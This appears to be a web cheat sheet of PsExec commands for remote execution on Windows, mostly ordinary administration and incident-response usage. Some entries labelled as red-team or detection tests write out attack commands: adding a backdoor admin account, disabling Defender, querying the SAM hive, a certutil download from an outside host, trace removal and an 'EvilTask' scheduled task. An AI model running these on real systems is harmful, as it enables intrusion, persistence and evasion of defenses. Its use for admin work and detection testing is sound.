Skip to content

PsExec

55 commands

Running commands on remote Windows hosts via the Service Control Manager — Sysinternals PsExec and Impacket’s psexec.py.

  • remote execution
  • SMB
  • Windows

Install PsExec

sudo apt install python3-impacket

Basic Remote Execution2

psexec \\192.168.1.10 cmd

Executes an interactive command prompt on the target system using current credentials.

psexec \\192.168.1.10 ipconfig /all

Runs a single non-interactive command remotely and displays the output locally.

Authentication Handling2

psexec \\192.168.1.10 -u Administrator -p Password123 cmd

Connects to the remote host using explicit plaintext credentials.

psexec \\192.168.1.10 -u DOMAIN\User -p Password123 cmd

Connects using domain credentials for authentication.

Link

Automation1

psexec -accepteula \\192.168.1.10 cmd

Automatically accepts the Sysinternals EULA to prevent interactive pop-ups during automation.

Privilege Escalation1

psexec \\192.168.1.10 -s cmd

Runs the remote command shell under the NT AUTHORITY\SYSTEM account.

Interactive Sessions3

psexec \\192.168.1.10 -i cmd

Runs the program so that it interacts with the desktop of the specified session on the remote system.

psexec \\192.168.1.10 -i -s cmd

Launches an interactive command prompt as the SYSTEM account, visible on the remote desktop.

psexec \\192.168.1.10 -i 2 cmd

Executes the command specifically on session ID 2 on the remote machine.

File Execution3

psexec \\192.168.1.10 -c test.exe

Copies the specified executable to the remote system and runs it.

Link
psexec \\192.168.1.10 -c -f test.exe

Forces the copy of the executable to the remote system even if the file already exists.

Link
psexec \\192.168.1.10 -c -v test.exe

Copies the file only if the local version has a higher version number or is newer.

Link

Performance Control1

psexec \\192.168.1.10 -d cmd

Runs the process non-interactively and does not wait for it to terminate.

Link

Priority Management2

psexec \\192.168.1.10 -low cmd

Starts the remote process with Low priority.

Link
psexec \\192.168.1.10 -high cmd

Starts the remote process with High priority.

Link

Environment Control2

psexec \\192.168.1.10 -w C:\Temp cmd

Sets the working directory of the process on the remote system.

Link
psexec \\192.168.1.10 -e cmd

Does not load the specified user's profile during execution.

Link

Security Context1

psexec \\192.168.1.10 -l cmd

Runs the process with Limited User rights (strips administrators group token).

Link

Connection Configuration1

psexec \\192.168.1.10 -n 10 cmd

Sets a connection timeout of 10 seconds for connecting to the remote machine.

Link

Service Customization1

psexec \\192.168.1.10 -r MyService cmd

Specifies a custom name for the remote service created by PsExec (default is PSEXESVC).

Link

Lateral Movement Simulation3

psexec \\192.168.1.10 -s net user

Enumerates local users on the target as SYSTEM, simulating reconnaissance.

Link
psexec \\192.168.1.10 -s reg query HKLM\SAM

Attempts to query sensitive registry hives remotely as SYSTEM.

Link
psexec \\192.168.1.10 -s powershell -NoP -Command "whoami"

Executes PowerShell commands remotely as SYSTEM without loading a profile.

Link

Multi-Host Targeting2

psexec @hosts.txt cmd

Executes the command on every host listed in the specified text file.

Link
psexec \\* cmd

Runs the command on all computers in the current domain.

Link

Logging and Redirection2

psexec \\192.168.1.10 cmd > output.txt

Redirects the standard output of the remote command to a local file.

Link
psexec \\192.168.1.10 cmd 2> error.txt

Redirects the standard error of the remote command to a local file.

Link

Blue Team Testing2

psexec -s \\192.168.1.10 certutil -urlcache -split -f http://example.com/file

Simulates ingress tool transfer behavior using certutil via PsExec.

Link
psexec \\192.168.1.10 -h cmd

Runs the process with the account's elevated token (if available).

Link

Process Isolation1

psexec \\192.168.1.10 -x cmd

Displays the UI on the Winlogon secure desktop (system only).

Link

Processor Affinity1

psexec \\192.168.1.10 -a 1 cmd

Forces the process to run on specific processors (CPU affinity).

Link

Advanced Workflow2

psexec \\192.168.1.10 -u Admin -p Pass -h -d -c payload.bat

Copies a script, executes it elevated, detached, using explicit credentials.

Link
psexec \\192.168.1.10 -s -i -d cmd /c "echo owned > C:\flag.txt"

Non-blocking execution of a one-liner as SYSTEM to create a file artifact.

Link

Detection Testing1

psexec -r CustomSvcName \\192.168.1.10 cmd

Changes the service name to test if detection rules alert on non-standard PSEXESVC names.

Link

Interactive GUI Test1

psexec -s -i 1 \\192.168.1.10 notepad.exe

Launches a GUI application (Notepad) on the user's desktop session as SYSTEM.

Link

Batch Execution1

psexec @servers.txt -u Domain\Admin -p Pass -d -n 5 cmd /c hostname

Rapidly fires a hostname check across a list of servers with a short timeout and detach mode.

Link

Network Testing1

psexec \\192.168.1.10 ipconfig /flushdns

Remotely flushes the DNS cache on the target system.

Link

Incident Response3

psexec \\192.168.1.10 tasklist

Retrieves the list of running processes from the remote host for analysis.

Link
psexec \\192.168.1.10 netstat -anob

Retrieves active network connections and associated binaries from the remote host.

Link
psexec -s \\192.168.1.10 wmic qfe list

Lists installed patches and hotfixes on the remote host as SYSTEM.

Link

Red Team Ops2

psexec -s \\192.168.1.10 cmd /c "net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add"

Simulates persistence creation by adding a backdoor user via a single command line.

Link
psexec -s \\192.168.1.10 powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"

Simulates disabling Windows Defender real-time monitoring remotely.

Link

Force Disconnect1

psexec \\192.168.1.10 -f cmd

Uses the force flag if the program is already running (rarely used for cmd, useful for services).

Link

Complex Chaining1

psexec \\192.168.1.10 -u User -p Pass cmd /c "ping 127.0.0.1 -n 5 > nul && whoami"

executes a delayed command sequence to test timeout handling and output buffering.

Link

Purple Team Validation1

psexec \\192.168.1.10 -c -f -s PsExec.exe

Copies PsExec itself to the target to simulate nested lateral movement (PsExec via PsExec).

Link

Credential Testing1

psexec \\192.168.1.10 -u "" -p "" cmd

Attempts to connect using a null session or existing implicit token.

Link

Cleanup Simulation1

psexec \\192.168.1.10 cmd /c "sc delete PSEXESVC"

Manually attempts to delete the PsExec service to simulate trace removal.

Link

Cross-Domain1

psexec \\192.168.1.10 -u TARGETDOMAIN\Administrator -p Password cmd

Executes commands using credentials from a different trust domain.

Link

Load Profile1

psexec \\192.168.1.10 -i -u User -p Pass -e cmd

Explicitly avoids loading the user profile while running interactively.

Link

Blue Team Alerting1

psexec \\192.168.1.10 powershell -enc JABiACAAPQAgADEAMgAzAA==

Runs encoded PowerShell commands remotely to trigger obfuscation detection rules.

Link

Environment Variables1

psexec \\192.168.1.10 cmd /c "set"

Dumps remote environment variables to verify the execution context.

Link

Registry Modification1

psexec -s \\192.168.1.10 reg add HKLM\Software\Test /v Data /t REG_SZ /d "Lateral" /f

Adds a registry key remotely as SYSTEM to test EDR registry monitoring.

Link

Scheduled Task Simulation1

psexec \\192.168.1.10 schtasks /create /tn "EvilTask" /tr calc.exe /sc once /st 00:00

Uses PsExec to remotely create a scheduled task, a common persistence technique.

Link

Account Discovery1

psexec \\192.168.1.10 net localgroup administrators

Queries the local administrators group on the remote host.

Link

Share Access1

psexec \\192.168.1.10 cmd /c "dir \\127.0.0.1\Cquot;

Verifies access to administrative shares (C$) from the remote execution context.

Link